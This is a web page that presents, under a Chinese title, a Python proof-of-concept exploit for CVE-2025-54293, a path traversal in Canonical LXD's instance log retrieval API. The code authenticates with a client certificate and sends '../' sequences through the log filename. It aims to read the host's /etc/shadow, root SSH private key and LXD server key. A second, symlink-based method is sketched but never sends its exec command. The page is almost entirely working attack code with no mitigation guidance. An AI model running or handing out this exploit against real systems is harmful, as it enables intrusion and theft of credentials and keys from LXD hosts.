CVE-2025-54293：Canonical LXD日志文件检索路径遍历漏洞

# CVE-2025-54293 PoC - LXD Path Traversal via Log File Retrieval # This PoC demonstrates the path traversal vulnerability in Canonical LXD 5.0 LTS # that allows authenticated remote attackers to read arbitrary files on the host system. import requests import json # LXD API endpoint LXD_URL = "https://lxd-host:8443" # Attacker credentials (low-privilege authenticated user) CERT_PATH = "/path/to/client.crt" KEY_PATH = "/path/to/client.key" VERIFY_SSL = False def authenticate(): """Authenticate to LXD API using client certificate""" session = requests.Session() session.cert = (CERT_PATH, KEY_PATH) session.verify = VERIFY_SSL return session def exploit_path_traversal(session, instance_name, target_file): """ Exploit path traversal in log file retrieval to read arbitrary host files. :param session: Authenticated requests session :param instance_name: Name of a valid container/instance the attacker has access to :param target_file: Path on the host system to read (e.g., "/etc/shadow") """ # Craft malicious log file name with path traversal sequence # The log file retrieval endpoint expects a log file name, but fails to # sanitize path traversal characters malicious_log_name = f"../../../../../../..{target_file}" # Construct the API endpoint for log file retrieval # LXD API: /1.0/instances/{name}/logs/{filename} endpoint = f"{LXD_URL}/1.0/instances/{instance_name}/logs/{malicious_log_name}" print(f"[*] Sending path traversal request to read: {target_file}") response = session.get(endpoint) if response.status_code == 200: print(f"[+] Successfully retrieved file contents:") print("-" * 60) print(response.text) print("-" * 60) return response.text else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return None def exploit_symlink(session, instance_name, target_file): """ Alternative exploitation method using symbolic links within a container. :param session: Authenticated requests session :param instance_name: Name of the container the attacker controls :param target_file: Target file on the host to read """ # Step 1: Execute command inside container to create a symlink # pointing from a log file location to the target host file cmd = { "command": [ "ln", "-s", target_file, f"/var/log/lxd/{instance_name}/lxc.log" ], "environment": {}, "wait-for-websocket": False } exec_endpoint = f"{LXD_URL}/1.0/instances/{instance_name}/exec" print(f"[*] Creating symlink inside container {instance_name}") # Note: This requires exec privileges on the instance # Step 2: Request the log file which now follows the symlink log_endpoint = f"{LXD_URL}/1.0/instances/{instance_name}/logs/lxc.log" response = session.get(log_endpoint) if response.status_code == 200: print(f"[+] Successfully read host file via symlink:") print(response.text) return response.text if __name__ == "__main__": # Authenticate to LXD session = authenticate() # Target sensitive files on the host target_files = [ "/etc/shadow", "/root/.ssh/id_rsa", "/etc/lxd/server.crt", "/etc/lxd/server.key" ] # Exploit using path traversal in log file name for target in target_files: result = exploit_path_traversal(session, "target-instance", target) if result: print(f"\n[!] Sensitive data extracted from {target}") break